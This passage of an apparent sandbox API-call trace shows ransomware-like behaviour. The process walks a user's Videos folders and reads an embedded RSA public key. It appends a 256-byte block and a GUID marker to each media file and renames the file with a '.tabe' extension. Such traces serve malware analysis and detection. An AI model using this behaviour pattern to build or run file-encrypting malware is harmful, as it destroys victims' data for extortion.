KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.532] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.532] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x865f38) returned 1 [0127.533] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.533] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.533] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.533] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.533] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.533] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0127.533] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.533] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.533] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.533] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af8038 [0127.534] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7fc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.534] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.534] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.534] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.534] CloseHandle (hObject=0x618) returned 1 [0127.535] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\RK4kUvZixIIxI 0ux8\\UAc5Q_RPi.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\rk4kuvzixiixi 0ux8\\uac5q_rpi.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\RK4kUvZixIIxI 0ux8\\UAc5Q_RPi.mp4.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\rk4kuvzixiixi 0ux8\\uac5q_rpi.mp4.tabe")) returned 1 [0127.536] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb20ec890, ftCreationTime.dwHighDateTime=0x1d5d9bc, ftLastAccessTime.dwLowDateTime=0x4960460, ftLastAccessTime.dwHighDateTime=0x1d5dc5c, ftLastWriteTime.dwLowDateTime=0x4960460, ftLastWriteTime.dwHighDateTime=0x1d5dc5c, nFileSizeHigh=0x0, nFileSizeLow=0x7fc6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="UAc5Q_RPi.mp4", cAlternateFileName="UAC5Q_~1.MP4")) returned 0 [0127.536] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.536] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.536] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.537] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\") returned="VDxk_EvzygJU\\" [0127.537] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\") returned="LWdYNCSp0w4\\" [0127.537] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.537] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.537] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.537] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.537] PathFindFileNameW (pszPath="") returned="" [0127.537] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x534399b0, ftCreationTime.dwHighDateTime=0x1d5d8bf, ftLastAccessTime.dwLowDateTime=0x2d20b3e0, ftLastAccessTime.dwHighDateTime=0x1d5e6d8, ftLastWriteTime.dwLowDateTime=0x2d20b3e0, ftLastWriteTime.dwHighDateTime=0x1d5e6d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.538] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x534399b0, ftCreationTime.dwHighDateTime=0x1d5d8bf, ftLastAccessTime.dwLowDateTime=0x2d20b3e0, ftLastAccessTime.dwHighDateTime=0x1d5e6d8, ftLastWriteTime.dwLowDateTime=0x2d20b3e0, ftLastWriteTime.dwHighDateTime=0x1d5e6d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.538] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae277c0, ftCreationTime.dwHighDateTime=0x1d5dfe1, ftLastAccessTime.dwLowDateTime=0x15afd540, ftLastAccessTime.dwHighDateTime=0x1d5e388, ftLastWriteTime.dwLowDateTime=0x15afd540, ftLastWriteTime.dwHighDateTime=0x1d5e388, nFileSizeHigh=0x0, nFileSizeLow=0x8073, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="B1hw4kZiZwkrvZ-l_10f.mkv", cAlternateFileName="B1HW4K~1.MKV")) returned 1 [0127.538] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\B1hw4kZiZwkrvZ-l_10f.mkv") returned=".mkv" [0127.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\B1hw4kZiZwkrvZ-l_10f.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\b1hw4kzizwkrvz-l_10f.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.539] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=32883) returned 1 [0127.539] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.540] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x804d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.540] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.541] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8073, lpOverlapped=0x0) returned 1 [0127.542] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.542] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.542] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.542] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.543] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.543] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.543] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.543] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.543] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.543] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0127.543] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.543] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.543] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.543] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af8038 [0127.543] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8073, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.543] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.544] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.544] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.544] CloseHandle (hObject=0x618) returned 1 [0127.545] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\B1hw4kZiZwkrvZ-l_10f.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\b1hw4kzizwkrvz-l_10f.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\B1hw4kZiZwkrvZ-l_10f.mkv.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\b1hw4kzizwkrvz-l_10f.mkv.tabe")) returned 1 [0127.546] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab75b80, ftCreationTime.dwHighDateTime=0x1d5daa9, ftLastAccessTime.dwLowDateTime=0xf1801f50, ftLastAccessTime.dwHighDateTime=0x1d5e1ba, ftLastWriteTime.dwLowDateTime=0xf1801f50, ftLastWriteTime.dwHighDateTime=0x1d5e1ba, nFileSizeHigh=0x0, nFileSizeLow=0xeadb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="F-OmRyitDv.avi", cAlternateFileName="F-OMRY~1.AVI")) returned 1 [0127.546] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\F-OmRyitDv.avi") returned=".avi" [0127.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\F-OmRyitDv.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\f-omryitdv.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.547] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=60123) returned 1 [0127.547] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.548] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xeab5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.548] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.549] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xeadb, lpOverlapped=0x0) returned 1 [0127.550] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.550] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.550] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.550] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.551] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.551] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.551] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.551] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.551] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.551] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0127.551] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.551] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.551] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.551] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af8038 [0127.551] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xeadb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.552] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.552] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.552] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.552] CloseHandle (hObject=0x618) returned 1 [0127.553] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\F-OmRyitDv.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\f-omryitdv.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\F-OmRyitDv.avi.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\f-omryitdv.avi.tabe")) returned 1 [0127.554] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda912680, ftCreationTime.dwHighDateTime=0x1d5e760, ftLastAccessTime.dwLowDateTime=0xeae4ef70, ftLastAccessTime.dwHighDateTime=0x1d5e711, ftLastWriteTime.dwLowDateTime=0xeae4ef70, ftLastWriteTime.dwHighDateTime=0x1d5e711, nFileSizeHigh=0x0, nFileSizeLow=0x170da, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="fsc9rge6Ary4EG5TW.swf", cAlternateFileName="FSC9RG~1.SWF")) returned 1 [0127.554] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\fsc9rge6Ary4EG5TW.swf") returned=".swf" [0127.554] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\fsc9rge6Ary4EG5TW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\fsc9rge6ary4eg5tw.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.554] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=94426) returned 1 [0127.554] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.555] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x170b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.555] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.557] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.557] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x170da, lpOverlapped=0x0) returned 1 [0127.558] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.558] lstrlenA (lpString="-----BEGIN PUBLIC 